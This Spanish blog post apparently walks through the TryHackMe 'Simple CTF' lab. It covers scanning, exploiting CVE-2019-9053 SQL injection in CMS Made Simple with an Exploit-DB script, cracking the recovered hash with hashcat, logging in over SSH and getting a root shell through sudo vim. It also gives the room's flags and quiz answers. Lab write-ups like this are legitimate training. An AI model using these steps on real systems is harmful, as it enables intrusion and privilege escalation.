Pentesting journey vol. 2

Try Hack Me – Simple CTF Machine Write Up

Hola amigos, el día de hoy traigo mis notas sobre la maquina Simple CTF de TryHackMe 🙂 . Esta es una de las máquinas más sencillas que te puedes encontrar después de haber tomado algunas rooms de la plataforma.

En mi opinión, al menos ya deberías tener algo de conocimientos básicos sobre pentesting para poder hacerla.

Espero que les sea útil 😛

1 Encontrar puertos abiertos

Realizamos un Escaneo con NMAP

nmap -sV -sC 10.10.61.244

Observamos que hay 3 puertos abiertos: 21 / 80 / 2222

How many services are running under port 1000?

2

What is running on the higher port?
ssh

2 Buscar directorios

Ejecutamos gobuster para encontrar posibles directorios que nos puedan ayudar a obtener más información:

gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 20 -u http://10.10.61.244

El número 20 es el número de hilos que gobuster mandaría a la IP, podemos modifcarlo a 10 o 5 etc,… Esta solicitud tarda un poco, de 10-30 min aprox.

Obtendremos una salida como esta:

Observamos que agregando el path /simple/ a la URL nos lleva a un sito web. Si buscamos un poco más, podemos ver la versión del Content Management System de la página llamado CMS Made Simple version 2.2.8

Buscamos en internet y observamos que existe una vulnerabilidad en el CVE-2019-9053

What’s the CVE you’re using against the application?
CVE-2019-9053

To what kind of vulnerability is the application vulnerable?
sqli

Obtención de usuarios

En este punto podemos buscar como ejectuar el CVE o en su caso buscar credenciales con enum4linux +$IP.

enum4linux 10.10.160.237  

Para no complicarnos, ya sabemos que el CVE es el 2019-9053, para ello buscamos como se puede explotar esta vulnerabilidad y encontramos que existe un script en python para obtener algunos datos como:

  • El salt del password
  • Usuario
  • Email
  • El hash del password

Para ello, descargamos el script desde https://www.exploit-db.com/exploits/46635
, lo ejecutamos solo pasando la URL del sitio:

python3 46635.py -u http://10.10.162.254/simple/

y obtendremos una salida como la siguiente:

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

Una vez encontrado el password, procederemos a analizar que tipo de hash contiene, en este caso use la siguiente página web:

https://www.tunnelsup.com/hash-analyzer/

Nos indica que es una MD5, para ello utilizaremos hashcat para descifrar el password utilizando el siguiente comando:

hashcat -O  -m 20 -a 0 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt

donde:

  • -O -> Optimización del kernel ( en caso de que la maquina no tenga suficientes recursos de hardware)
  • -m -> El tipo de hash, que en este caso es un hash MD5 y donde usamos el flag 20 para el salt y el pass según la documentación en https://www.kali.org/tools/hashcat/
  • -a o -> Esta opción establece el modo de ataque. En este caso, 0 se refiere al modo “straight” o “directo”, que es un ataque de fuerza bruta simple.
  • ![[Pasted image 20240122125729.png]]
  • /usr/share/wordlists/rockyou.txt -> Es la ruta donde se encuentra nuestro diccionario que tomará hashcat para realizar el ataque.

Una vez ejecutado el comando anterior, obtendremos una salida como la siguiente donde debemos poner especial atención a la línea donde se encuentran el salt y hash del password para observar el descifrado:

What’s the password?
secret

Where can you login with the details obtained?
ssh

Realizar conexión vía SSH

Una vez que obtuvimos el usuario y el password, sabemos que podemos conectarnos mediante ssh ya que nmap nos indica que el puerto 2222 esta abierto. Para ellos ejecutamos el siguiente comando:

ssh mitch@10.10.135.57 -p 2222

Una vez dentro observamos que podemos encontrar el flag de la máquina.

What’s the user flag?
G00d j0b, keep up!

Observamos que hay otro usuario dentro del directorio:

Is there any other user in the home directory? What’s its name?

sunbath

Saber que permisos tiene el usuario de conexión

Podemos ejecutar el siguiente comando para saber que permisos tiene el usuario mitch y ver si podemos ejecutar algún comando como usuario root:

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$ sudo -l -l
User mitch may run the following commands on Machine:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
        /usr/bin/vim

Observamos que podemos ejecutar lo siguiente:

  • RunAsUsers: root: Esto indica que el comando especificado en la entrada (/usr/bin/vim) se puede ejecutar como el usuario root.
  • Options: !authenticate: La opción !authenticate indica que no se requiere autenticación de contraseña para ejecutar el comando especificado. Esto significa que el usuario que intenta ejecutar /usr/bin/vim a través de sudo no necesita ingresar su contraseña, lo cual es genial.
  • Commands: /usr/bin/vim: Este es el comando específico que se permite ejecutar con privilegios elevados. En este caso, el usuario puede ejecutar el editor de texto Vim (/usr/bin/vim) como el usuario root sin autenticación de contraseña.

What can you leverage to spawn a privileged shell?
vim

Escalar privilegios

Como sabemos que podemos ejecutar vim sin password , nos dirigimos a la siguiente página para ver si podemos ejecutar algún comando para vim que nos permita ser usuario root:

https://gtfobins.github.io/gtfobins/vim/#sudo

Como vemos, existe un comando para ser usuario root, lo ejecutamos y nos permitirá accesar al sistema con los privilegios:

$ sudo vim -c ':!/bin/sh'

# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!

What’s the root flag?

W3ll d0n3. You made it!

Como vemos, simplemente listamos los archivos del directorio y obtenemos el flag. No olviden pasarse por mi canal de Youtube to seguirme en Twitter. Hasta la próxima!

Leave a Reply